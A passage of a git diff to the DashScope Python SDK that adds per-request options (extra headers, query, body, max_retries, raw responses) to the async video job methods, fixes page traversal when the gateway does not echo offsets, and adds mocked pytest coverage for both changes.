extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a video task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ # The upload path is blocking (file post + getPolicy), so it runs in # a worker thread -- over a transport bridged back to this loop, # which is what lets it serve the policy fetch. @@ -448,8 +778,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -457,14 +793,61 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one video task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return await self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -472,15 +855,61 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return await self._jobs.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -495,8 +924,62 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return await self._jobs.list( start_time=start_time, end_time=end_time, @@ -509,6 +992,11 @@ async def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -520,6 +1008,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._jobs.wait( @@ -529,6 +1021,10 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -561,6 +1057,10 @@ async def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """See :meth:`Videos.generate`.""" job = await self.jobs.create( @@ -581,6 +1081,10 @@ async def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -589,4 +1093,8 @@ async def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/transport/_options.py b/dashscope/transport/_options.py index aac7584d..27b42079 100644 --- a/dashscope/transport/_options.py +++ b/dashscope/transport/_options.py @@ -2,19 +2,25 @@ # Copyright (c) Alibaba, Inc. and its affiliates. """Per-request customization channel for the v2 transports. -Every resource method offers the same three escape hatches -- -``extra_headers`` / ``extra_query`` / ``extra_body`` -- and hands them to -the transport as one :class:`RequestOptions`. They exist so a caller can -attach something this SDK does not model yet (a gateway experiment flag, -a parameter a newer backend added) without waiting for a release. - -``timeout`` and ``max_retries`` are honored by the transports but are -*not yet reachable from a resource method*: no resource signature takes -them and :func:`request_options` does not forward them, so today the only -way to narrow retries for one call is a derived client -(``client.with_options(max_retries=0)``). Wiring the last mile means -adding the parameter to every resource signature and overload; until -that lands, do not read the fields below as caller-facing. +Every resource method that routes its own HTTP request offers the same +three escape hatches (``extra_headers`` / ``extra_query`` / +``extra_body``) and hands them to the transport as one +:class:`RequestOptions`. They exist so a caller can attach something this +SDK does not model yet (a gateway experiment flag, a parameter a newer +backend added) without waiting for a release. The websocket methods +(``audio.asr.recognize`` / ``recognize_file``, ``tingwu.realtime``) are +the exception: ``transport/ws.py`` has no per-request options channel, so +a parameter there would be silently inert. + +``timeout`` and ``max_retries`` ride the same channel, with one +difference in how they reach it. ``max_retries`` is a resource-method +parameter: passing it narrows or widens the client's retry budget for +one request, which used to mean deriving a whole client +(``client.with_options(max_retries=0)``). ``timeout`` is *not* exposed +through a resource signature, because every resource method already +declares its own ``timeout=`` and the transport prefers that one (see +:class:`RequestOptions`); the field here serves callers that build +:class:`RequestOptions` directly. ``None`` means "no opinion" everywhere here, so a call that sets no option behaves exactly as it did before this channel existed. Header @@ -64,19 +70,34 @@ def request_options( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + *, + timeout: Optional[Union[float, httpx.Timeout]] = None, + max_retries: Optional[int] = None, ) -> Optional[RequestOptions]: - """Options for a resource call's three extras, or ``None``. + """Options for a resource call's overrides, or ``None``. Resources call this rather than building :class:`RequestOptions` themselves, so an all-defaults call stays ``None`` and the transport keeps its no-options path. + + ``timeout`` and ``max_retries`` are keyword-only so the three extras + stay positional: resources pass them by position, and a keyword-only + tail lets this grow without touching those call sites. """ - if not (extra_headers or extra_query or extra_body): + if not ( + extra_headers + or extra_query + or extra_body + or timeout is not None + or max_retries is not None + ): return None return RequestOptions( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + timeout=timeout, + max_retries=max_retries, ) diff --git a/dashscope/types/pagination.py b/dashscope/types/pagination.py index 8de661f3..5da7975d 100644 --- a/dashscope/types/pagination.py +++ b/dashscope/types/pagination.py @@ -93,6 +93,11 @@ class BasePage(ResponseBase, Generic[T]): _fetch_next: Optional[Callable[[int, int], Any]] = PrivateAttr( default=None, ) + # The page this page was *requested* as, when the resource bound one. + # Traversal advances from here rather than from the parsed ``page_no`` / + # ``page_size``; see :meth:`bind_pagination`. + _requested_no: Optional[int] = PrivateAttr(default=None) + _requested_size: Optional[int] = PrivateAttr(default=None) page_no: int = 1 page_size: int = 10 @@ -112,6 +117,8 @@ def items(self) -> List[T]: def bind_pagination( self, callback: Optional[Callable[[int, int], Any]], + requested_page_no: Optional[int] = None, + requested_page_size: Optional[int] = None, ) -> "BasePage[T]": """Attach the page-fetch callback the traversal methods use. @@ -119,10 +126,35 @@ def bind_pagination( ``iter_pages()`` can request the following page. Returns ``self`` for chaining. ``callback`` is stored in a ``PrivateAttr``, so binding it never changes ``model_dump()``. + + ``requested_page_no`` / ``requested_page_size`` are the offsets the + resource actually sent, and traversal advances from them rather than + from the parsed :attr:`page_no` / :attr:`page_size`. A gateway that + omits ``page_no`` leaves every page reading the field's default of 1, + so advancing from the echo would request page 2 forever; one that + omits ``page_size`` would silently change the window and skip or + repeat items. The resource is the only party that reliably knows what + it asked for. """ self._fetch_next = callback + self._requested_no = requested_page_no + self._requested_size = requested_page_size return self + @property + def _cursor_no(self) -> int: + """The page number to advance from: the request's, else the echo.""" + if self._requested_no is not None: + return self._requested_no + return self.page_no + + @property + def _cursor_size(self) -> int: + """The page size to advance with: the request's, else the echo.""" + if self._requested_size is not None: + return self._requested_size + return self.page_size + def has_next_page(self) -> bool: """Whether ``total_count`` implies a page after this one. @@ -130,7 +162,7 @@ def has_next_page(self) -> bool: does not consult ``_fetch_next``, so it stays meaningful on a page built without a callback (e.g. parsed straight from a body). """ - return self.page_no * self.page_size < self.total_count + return self._cursor_no * self._cursor_size < self.total_count def next_page(self) -> Optional["BasePage[T]"]: """Fetch the following page, or ``None`` at the end of the list. @@ -144,14 +176,14 @@ def next_page(self) -> Optional["BasePage[T]"]: return None _reject_async_callback(self._fetch_next) return _reject_awaitable_page( - self._fetch_next(self.page_no + 1, self.page_size), + self._fetch_next(self._cursor_no + 1, self._cursor_size), ) async def next_page_async(self) -> Optional["BasePage[T]"]: """Async :meth:`next_page`; awaits the callback when it is a coroutine.""" if not self.has_next_page() or self._fetch_next is None: return None - result = self._fetch_next(self.page_no + 1, self.page_size) + result = self._fetch_next(self._cursor_no + 1, self._cursor_size) if inspect.isawaitable(result): result = await result return result diff --git a/tests/test_pagination.py b/tests/test_pagination.py index 8b11b7d5..40aca409 100644 --- a/tests/test_pagination.py +++ b/tests/test_pagination.py @@ -204,6 +204,81 @@ def test_base_page_accepts_the_wire_total_alias(): assert cls.model_validate({"total": 7}).total_count == 7 +def _models_handler_no_echo(catalog, seen): + """A gateway that reports ``total`` but echoes neither offset field.""" + + def handler(request): + params = dict(request.url.params) + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + seen.append((page_no, page_size)) + # Turn a cursor regression into a failure instead of a hang. + assert len(seen) <= 20, f"traversal did not terminate: {seen}" + start = (page_no - 1) * page_size + return httpx.Response( + 200, + json={ + "request_id": "req-page", + "output": { + "models": catalog[start : start + page_size], + "total": len(catalog), + }, + }, + ) + + return handler + + +def test_traversal_advances_when_the_gateway_omits_the_offset_echo(): + # With no echo every page parses at the ``page_no`` / ``page_size`` + # defaults, so advancing from the parsed fields would re-request page 2 + # forever. The resource binds the offsets it actually sent, and those + # drive the cursor. + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[Any] = [] + client = _make_client(_models_handler_no_echo(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + collected = [m.model for p in page.iter_pages() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [(1, 2), (2, 2), (3, 2)] + + +def test_bound_offsets_override_the_parsed_echo(): + page = ModelList.model_validate( + {"page_no": 1, "page_size": 10, "total": 200}, + ) + calls: List[Any] = [] + page.bind_pagination( + lambda no, size: calls.append((no, size)), + requested_page_no=4, + requested_page_size=25, + ) + + page.next_page() + + assert calls == [(5, 25)] + + +def test_bound_offsets_decide_when_the_list_is_exhausted(): + # 4 * 25 == 100 == total, so the bound offsets read as the last page + # even though the parsed defaults (1 * 10) would not. + page = ModelList.model_validate( + {"page_no": 1, "page_size": 10, "total": 100}, + ) + calls: List[Any] = [] + page.bind_pagination( + lambda no, size: calls.append((no, size)), + requested_page_no=4, + requested_page_size=25, + ) + + assert page.has_next_page() is False + assert page.next_page() is None + assert calls == [] + + # --- models.list (async) -------------------------------------------------- @@ -220,6 +295,19 @@ async def test_models_async_iter_pages(): assert seen == [1, 2, 3] +@pytest.mark.asyncio +async def test_models_async_traversal_advances_without_the_offset_echo(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[Any] = [] + client = _make_async_client(_models_handler_no_echo(catalog, seen)) + + page = await client.models.list(page_no=1, page_size=2) + collected = [m.model async for p in page.iter_pages_async() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [(1, 2), (2, 2), (3, 2)] + + @pytest.mark.asyncio async def test_models_async_next_page_ends(): catalog = [{"model": f"m{i}"} for i in range(3)] diff --git a/tests/test_request_options.py b/tests/test_request_options.py index 92cce947..93014af2 100644 --- a/tests/test_request_options.py +++ b/tests/test_request_options.py @@ -117,6 +117,33 @@ def test_request_options_built_when_any_extra_is_set(kwargs): assert getattr(options, name) == value +@pytest.mark.parametrize( + "kwargs", + [ + {"timeout": 1.5}, + {"max_retries": 0}, + {"max_retries": 3}, + ], +) +def test_request_options_built_when_a_keyword_only_field_is_set(kwargs): + # ``max_retries=0`` is a real override rather than "no opinion", so the + # all-defaults shortcut has to test for ``None`` and not for falsiness. + options = request_options(**kwargs) + assert isinstance(options, RequestOptions) + for name, value in kwargs.items(): + assert getattr(options, name) == value + + +def test_request_options_keeps_the_extras_positional(): + # Resources pass the three extras by position; the keyword-only tail is + # what lets timeout/max_retries be added without touching those calls. + options = request_options({"X-A": "1"}, None, None, max_retries=2) + assert options.extra_headers == {"X-A": "1"} + assert options.extra_query is None + assert options.timeout is None + assert options.max_retries == 2 + + def test_deep_merge_nested_dicts_merge_scalars_replace(): base = {"model": "qwen-max", "params": {"top_p": 0.5, "seed": 1}} merged = deep_merge(base, {"params": {"top_p": 0.9}, "stream": True}) diff --git a/tests/test_resource_request_options.py b/tests/test_resource_request_options.py index 4c64bd9c..748cc98a 100644 --- a/tests/test_resource_request_options.py +++ b/tests/test_resource_request_options.py @@ -18,6 +18,8 @@ import pytest from dashscope import AsyncClient, Client +from dashscope.errors import DashScopeError +from dashscope.transport import http as transport_http BASE_URL = "https://api.test.local/api/v1" @@ -345,6 +347,99 @@ async def test_async_embeddings_jobs_fetch_forwards_extras(): await client.aclose() +# -------------------------------------------------------------------------- +# images / multimodal.embeddings +# -------------------------------------------------------------------------- + + +def test_images_jobs_list_forwards_extras(): + cap = _Capture(_JOB_LIST_BODY) + client = _client(cap) + result = client.images.jobs.list( + page_size=3, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +def test_images_jobs_create_forwards_extra_headers_and_body(): + cap = _Capture(_JOB_PENDING) + client = _client(cap) + job = client.images.jobs.create( + model="wan2.2-t2i-flash", + prompt="a cat", + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"seed": 7}}, + ) + assert job.task_id == "t-1" + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["seed"] == 7 + + +def test_images_generate_forwards_extras_to_every_request(): + # generate() submits and then waits, so the escape hatch has to survive + # both legs rather than only the submit. + cap = _Capture(_JOB_DONE) + client = _client(cap) + job = client.images.generate( + model="wan2.2-t2i-flash", + prompt="a cat", + extra_headers={"X-Experiment": "on"}, + ) + assert job.succeeded + assert cap.requests + assert all(r.headers["x-experiment"] == "on" for r in cap.requests) + + +def test_multimodal_embeddings_create_forwards_all_three_extras(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _client(cap) + result = client.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + extra_body={"parameters": {"dimension": 8}}, + ) + assert result.embeddings[0].index == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query() == {"beta": "true"} + assert cap.sent_json()["parameters"]["dimension"] == 8 + + +@pytest.mark.asyncio +async def test_async_images_jobs_list_forwards_extras(): + cap = _Capture(_JOB_LIST_BODY) + client = _async_client(cap) + result = await client.images.jobs.list( + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert result.total_count == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +async def test_async_multimodal_embeddings_create_forwards_extras(): + cap = _Capture(_EMBEDDINGS_BODY) + client = _async_client(cap) + result = await client.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + extra_headers={"X-Experiment": "on"}, + extra_body={"parameters": {"dimension": 8}}, + ) + assert result.embeddings[0].index == 0 + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_json()["parameters"]["dimension"] == 8 + await client.aclose() + + # -------------------------------------------------------------------------- # Nothing changes for callers that do not use the escape hatch # -------------------------------------------------------------------------- @@ -357,3 +452,578 @@ def test_call_without_extras_sends_the_same_request_as_before(): assert cap.sent_query() == {"page_no": "1", "page_size": "3"} assert "x-experiment" not in cap.last.headers assert cap.last.headers["authorization"] == "Bearer sk-test" + + +# -------------------------------------------------------------------------- +# max_retries: one override per call, forwarded by every resource +# -------------------------------------------------------------------------- + +_DEPLOYMENT_BODY = { + "request_id": "r", + "output": { + "deployed_model": "dep-1", + "model_name": "qwen-turbo", + "status": "RUNNING", + }, +} +_DEPLOYMENTS_LIST_BODY = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 10, + "total": 1, + "deployments": [_DEPLOYMENT_BODY["output"]], + }, +} +_FINE_TUNE_BODY = { + "request_id": "r", + "output": {"job_id": "ft-1", "status": "SUCCEEDED"}, +} +_FINE_TUNE_LIST_BODY = { + "request_id": "r", + "output": {"page_no": 1, "page_size": 10, "total": 0, "jobs": []}, +} +_RERANK_BODY = { + "request_id": "r", + "output": {"results": [{"index": 0, "relevance_score": 0.9}]}, + "usage": {"total_tokens": 3}, +} +_TOKENIZATION_BODY = {"request_id": "r", "usage": {"input_tokens": 7}} +_TINGWU_BODY = {"request_id": "r", "output": {"TaskId": "t-1"}} +_APPS_BODY = { + "request_id": "r", + "output": {"text": "hi", "finish_reason": "stop"}, +} +_DECISION_BODY = { + "model": "decision-model-preview", + "request_id": "r", + "answers": {"escalate": {"type": "noul", "noul": 0.9}}, +} +# Multimodal answers carry list-form content, unlike the chat endpoint. +_MULTIMODAL_CHAT_BODY = { + "request_id": "r", + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": [{"text": "hi"}], + }, + }, + ], + }, +} +_PHRASES_BODY = { + "request_id": "r", + "output": { + "jobs": [{"job_id": "p-1", "status": "SUCCEEDED"}], + "total": 1, + }, +} +_VOCABULARIES_BODY = {"request_id": "r", "output": {}} +_TTS_BODY = { + "request_id": "r", + "output": {"audio": {"url": "https://cdn.test/a.wav"}}, +} + +_ERROR_BODY = {"request_id": "r", "code": "InternalError", "message": "boom"} + + +class _FlakyCapture: + """Fails the first attempt with a retryable 500, then answers ``body``.""" + + def __init__(self, body=None, content=None, headers=None): + self._body = body + self._content = content + self._headers = dict(headers or {}) + self.calls = 0 + + def __call__(self, request: httpx.Request) -> httpx.Response: + self.calls += 1 + if self.calls == 1: + return httpx.Response(500, json=_ERROR_BODY) + if self._content is not None: + return httpx.Response( + 200, + content=self._content, + headers=self._headers, + ) + return httpx.Response(200, json=self._body, headers=self._headers) + + +class _ScriptedCapture: + """Answers a scripted ``[(status, body), ...]``, repeating the last.""" + + def __init__(self, script): + self._script = list(script) + self.calls = 0 + + def __call__(self, request: httpx.Request) -> httpx.Response: + status, body = self._script[min(self.calls, len(self._script) - 1)] + self.calls += 1 + return httpx.Response( + status, + json=_ERROR_BODY if body is None else body, + ) + + +@pytest.fixture +def no_sleep(monkeypatch): + """Retry backoff must not make these tests actually wait.""" + sleeps = [] + monkeypatch.setattr(transport_http, "_sleep", sleeps.append) + + async def _asleep(seconds): + sleeps.append(seconds) + + monkeypatch.setattr(transport_http, "_asleep", _asleep) + return sleeps + + +# Every resource method that routes its own request, with the body that makes +# it succeed. A row here is the only thing that catches a method accepting +# ``max_retries`` and then dropping it on the way to the transport. +_OPTION_CASES = [ + ("models.list", lambda c, **kw: c.models.list(**kw), _MODELS_BODY), + ("files.list", lambda c, **kw: c.files.list(**kw), _FILES_BODY), + ( + "embeddings.create", + lambda c, **kw: c.embeddings.create( + model="text-embedding-v4", + input=["hello"], + **kw, + ), + _EMBEDDINGS_BODY, + ), + ( + "embeddings.jobs.create", + lambda c, **kw: c.embeddings.jobs.create( + model="text-embedding-v4", + file_url="https://example.test/in.jsonl", + **kw, + ), + _JOB_PENDING, + ), + ( + "embeddings.jobs.fetch", + lambda c, **kw: c.embeddings.jobs.fetch("t-1", **kw), + _JOB_DONE, + ), + ( + "embeddings.jobs.list", + lambda c, **kw: c.embeddings.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "chat.completions.create", + lambda c, **kw: c.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + **kw, + ), + _CHAT_BODY, + ), + ( + "images.jobs.create", + lambda c, **kw: c.images.jobs.create( + model="wan2.2-t2i-flash", + prompt="a cat", + **kw, + ), + _JOB_PENDING, + ), + ( + "images.jobs.list", + lambda c, **kw: c.images.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "videos.jobs.list", + lambda c, **kw: c.videos.jobs.list(**kw), + _JOB_LIST_BODY, + ), + ( + "multimodal.embeddings.create", + lambda c, **kw: c.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input={"text": "hello"}, + **kw, + ), + _EMBEDDINGS_BODY, + ), + ( + "multimodal.chat.create", + lambda c, **kw: c.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + **kw, + ), + _MULTIMODAL_CHAT_BODY, + ), + ( + "deployments.get", + lambda c, **kw: c.deployments.get("dep-1", **kw), + _DEPLOYMENT_BODY, + ), + ( + "deployments.list", + lambda c, **kw: c.deployments.list(**kw), + _DEPLOYMENTS_LIST_BODY, + ), + ( + "fine_tunes.get", + lambda c, **kw: c.fine_tunes.get("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "fine_tunes.list", + lambda c, **kw: c.fine_tunes.list(**kw), + _FINE_TUNE_LIST_BODY, + ), + ( + "rl.jobs.fetch", + lambda c, **kw: c.rl.jobs.fetch("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "rerank.create", + lambda c, **kw: c.rerank.create( + model="gte-rerank-v2", + query="q", + documents=["a", "b"], + **kw, + ), + _RERANK_BODY, + ), + ( + "tokenization.count", + lambda c, **kw: c.tokenization.count( + model="qwen-plus", + prompt="hello world", + **kw, + ), + _TOKENIZATION_BODY, + ), + ( + "tingwu.call", + lambda c, **kw: c.tingwu.call( + model="tingwu-turbo", + input={"source_language": "cn", "task": "summarization"}, + **kw, + ), + _TINGWU_BODY, + ), + ( + "apps.completions.create", + lambda c, **kw: c.apps.completions.create( + app_id="app-1", + prompt="hi", + **kw, + ), + _APPS_BODY, + ), + ( + "decision.create", + lambda c, **kw: c.decision.create( + model="decision-model-preview", + state="text", + questions={"escalate": {"type": "noul", "instructions": "?"}}, + **kw, + ), + _DECISION_BODY, + ), + ( + "audio.asr.jobs.fetch", + lambda c, **kw: c.audio.asr.jobs.fetch("t-1", **kw), + _JOB_DONE, + ), + ( + "audio.phrases.list", + lambda c, **kw: c.audio.phrases.list(**kw), + _PHRASES_BODY, + ), + ( + "audio.vocabularies.list", + lambda c, **kw: c.audio.vocabularies.list(prefix="med", **kw), + _VOCABULARIES_BODY, + ), + ( + "audio.tts.http.synthesize", + lambda c, **kw: c.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + **kw, + ), + _TTS_BODY, + ), +] + +_IDS = [case[0] for case in _OPTION_CASES] +_PARAMS = [case[1:] for case in _OPTION_CASES] + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_every_resource_forwards_the_extras(call, body): + cap = _Capture(body) + client = _client(cap) + call( + client, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_max_retries_zero_stops_after_one_attempt(call, body, no_sleep): + cap = _FlakyCapture(body) + client = _client(cap) + with pytest.raises(DashScopeError): + call(client, max_retries=0) + assert cap.calls == 1 + assert not no_sleep + + +@pytest.mark.parametrize("call, body", _PARAMS, ids=_IDS) +def test_max_retries_override_retries_the_failed_call(call, body, no_sleep): + # The client is built with no retry budget of its own, so a resource that + # accepted ``max_retries`` and then dropped it could not reach 2 attempts. + cap = _FlakyCapture(body) + client = _client(cap, max_retries=0) + call(client, max_retries=2) + assert cap.calls == 2 + assert len(no_sleep) == 1 + + +def test_without_max_retries_the_client_default_applies(no_sleep): + # The override narrows *and* widens, so the baseline has to be pinned + # too: a resource that forwarded a hardcoded budget would pass both + # parametrized tests above. + cap = _FlakyCapture(_MODELS_BODY) + client = _client(cap, max_retries=0) + with pytest.raises(DashScopeError): + client.models.list() + assert cap.calls == 1 + + cap = _FlakyCapture(_MODELS_BODY) + client = _client(cap, max_retries=0) + client.models.list(max_retries=3) + assert cap.calls == 2 + + +def test_streaming_methods_forward_max_retries(no_sleep): + # ``open_stream`` honors options as well, and it may only retry while no + # event has reached the caller yet -- so the first attempt failing with + # 500 is still retryable. + cap = _FlakyCapture( + content=b'data:{"output":{"text":"hi"},"request_id":"r"}\n\n', + headers={"content-type": "text/event-stream"}, + ) + client = _client(cap, max_retries=0) + stream = client.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + stream=True, + max_retries=2, + ) + assert cap.calls == 2 + stream.close() + + +def test_jobs_wait_forwards_max_retries_to_the_first_poll(no_sleep): + cap = _FlakyCapture(_JOB_DONE) + client = _client(cap, max_retries=0) + job = client.embeddings.jobs.wait( + "t-1", + max_retries=2, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.calls == 2 + + +def test_jobs_wait_forwards_max_retries_to_every_later_poll(no_sleep): + # The failure is on the *second* fetch: a forward dropped inside the poll + # loop is a silent no-op, and only a mid-loop failure can reveal it. + script = [(200, _JOB_PENDING), (500, None), (200, _JOB_DONE)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + job = client.embeddings.jobs.wait( + "t-1", + max_retries=1, + _sleep=lambda seconds: None, + ) + assert job.succeeded + assert cap.calls == 3 + + cap = _ScriptedCapture(script) 